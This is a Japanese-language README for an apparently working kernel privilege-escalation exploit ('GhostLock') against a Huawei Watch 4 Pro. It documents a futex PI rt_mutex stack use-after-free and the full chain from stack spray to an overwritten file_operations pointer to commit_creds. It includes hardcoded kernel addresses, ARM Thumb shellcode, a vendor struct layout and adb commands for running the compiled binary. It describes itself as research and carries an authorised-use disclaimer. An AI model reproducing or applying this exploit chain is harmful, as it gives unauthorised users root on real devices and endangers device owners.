
CVE-2026-43499 (GhostLock) — Huawei Watch 4 Pro(カーネル 5.4.210)を標的としたLinuxカーネル futex PI rt_mutex UAF ARM32権限昇格研究
Linux カーネルの futex PI rt_mutex Use-After-Free 脆弱性の調査とエクスプロイト開発。対象は Huawei Watch 4 Pro (MDS-AL00)、Snapdragon SW5100、armv7l、カーネル 5.4.210。
kernel/locking/rt_mutex.c の remove_waiter() は、プロキシロックのロールバック中に waiter->task の代わりに current を誤って使用するため、ウェイタータスクの pi_blocked_on がクリアされません。これにより、ウェイターのカーネルスタックフレームが解放された後、task_struct からスタック上に割り当てられた rt_mutex_waiter へのダングリングポインタが残ります — 典型的なスタック Use-After-Free です。
futex(FUTEX_CMP_REQUEUE_PI) によって EDEADLK ロールバックを誘発し、ウェイターの pi_blocked_on が解放済みスタックを指すようにします。prctl(PR_SET_NAME)(オプション15、非特権)を使用して、制御した15バイトのデータをカーネルスタックにコピーし、偽ウェイターの task/lock/prio フィールドを上書きします。sched_setattr() が PI チェーンウォークをトリガーします。偽ウェイターは、カーネルの file_operations 構造体に重なる偽造 rt_mutex にエンキューされます。赤黒木の挿入により、ウェイターのカーネルスタックアドレスが fops->unlocked_ioctl に書き込まれます。ioctl() を呼び出すと、上書きされた unlocked_ioctl ポインタ経由で実行可能なカーネルスタック上のシェルコードにディスパッチされます。commit_creds(waiter) を呼び出します。ウェイターの先頭フィールド(rb_insert_color によって設定)は、uid/gid = 0 の偽の struct cred を構成します。fops->unlocked_ioctl をウェイターのスタックアドレスで上書き)kernel base 0xC0008000
syscall table 0xc0101264
do_vfs_ioctl 0xc031c0ec (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds 0xc014cac8 (fast path, bx lr clean return)
rt_mutex_enqueue 0xc019c660
rb_insert_color 0xc104a918
init_task 0xc1b11640
init_cred 0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK 0xc141f5d4 (null_fops + 0x24)
write target 0xc141f5d8 (null_fops + 0x28 = unlocked_ioctl)
.
├── README.md # This file
├── boot.img # Target device boot image (32 MB)
├── exploit/
│ ├── ghostlock_arm32.c # Main ARM32 exploit source
│ ├── ghostlock_arm32.h # Exploit definitions header
│ ├── ghostlock_arm32 # Compiled static ARM binary
│ ├── ghostlock_poc1.c # Initial crash POC
│ └── nebula_poc.c # Nebula team reference POC
├── kernel/
│ ├── kernel_raw.bin # Uncompressed kernel binary (28 MB)
│ └── kallsyms_parsed.txt # Extracted kernel symbol table
├── analysis/ # 670+ Capstone-based reverse engineering
│ ├── *.py # scripts and disassembly outputs used
│ └── *.txt # during the research process
└── references/
├── ghostlock/ # Earlier exploit iterations (PoC through
│ ├── src/ # tracepoint/cred/oneplus variants)
│ ├── bin/ # Compiled earlier versions
│ ├── old/ # Initial crash PoCs
│ ├── README.md
│ └── RESEARCH_NOTES.md
└── ref_tc3650/ # TC3650 ARM32 reference exploit materials
arm-linux-gnueabihf-gcc -static -O2 -o ghostlock_arm32 ghostlock_arm32.c -lpthread
adb push ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32
ウェイター+0x18 にスタンプされる 12 バイトの位置独立 ARM Thumb シェルコード:
sub r0, pc, #0x20 @ r0 = waiter (fake cred), PC-relative
ldr pc, [pc, #-4] @ jump to commit_creds
.word 0xc014cac8 @ commit_creds address
commit_creds() の高速パスは current->cred = r0 を書き込み、bx lr で do_vfs_ioctl に戻ります。その後、通常通りユーザースペースへ戻ります。
このベンダーカーネルの struct file_operations は、オフセット +0x24(poll と unlocked_ioctl の間)に追加の4バイトフィールドがあり、以降のすべてのメンバーが標準 Linux 5.4 と比較して4バイトずれています:
+0x04 llseek +0x20 poll
+0x08 read +0x24 <vendor extra>
+0x0c write +0x28 unlocked_ioctl
+0x10 read_iter +0x2c compat_ioctl
+0x14 write_iter +0x30 mmap
+0x18 iterate +0x38 open
+0x1c iterate_shared +0x40 release
これは ashmem および null fops ハンドラを逆アセンブルして確認済みです。
このリポジトリはセキュリティ研究および教育のみを目的としています。所有していないデバイス、またはテストの許可がないデバイスでこれらの技術を使用しないでください。
| プロパティ | 値 |
|---|
| デバイス | Huawei Watch 4 Pro (MDS-AL00) |
| SoC | Snapdragon SW5100 (Cortex-A7, armv7l) |
| カーネル | 5.4.210 (32ビット ARM) |
| KASLR | 無効 |
| PAN/SMAP | 非搭載 |
| PXN | 0xc1b00000+ には PXN なし(スタック/BSS 実行可能) |
| CFI/PAC | 非搭載 |